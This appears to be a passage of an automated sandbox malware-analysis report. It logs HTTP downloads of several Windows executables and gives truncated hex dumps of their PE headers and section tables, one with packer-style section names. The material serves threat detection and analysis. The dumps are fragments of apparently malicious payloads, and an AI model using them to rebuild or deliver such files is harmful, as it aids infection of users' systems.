Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:29:40 GMTContent-Type: application/octet-streamContent-Length: 1911808Last-Modified: Mon, 18 Nov 2024 11:54:36 GMTConnection: keep-aliveETag: "673b2afc-1d2c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 db 4b 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 ba 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 b9 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 7a 61 63 6e 6d 6c 00 10 1a 00 00 b0 31 00 00 10 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 6e 78 64 61 69 6d 00 10 00 00 00 c0 4b 00 00 04 00 00 00 06 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 0a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
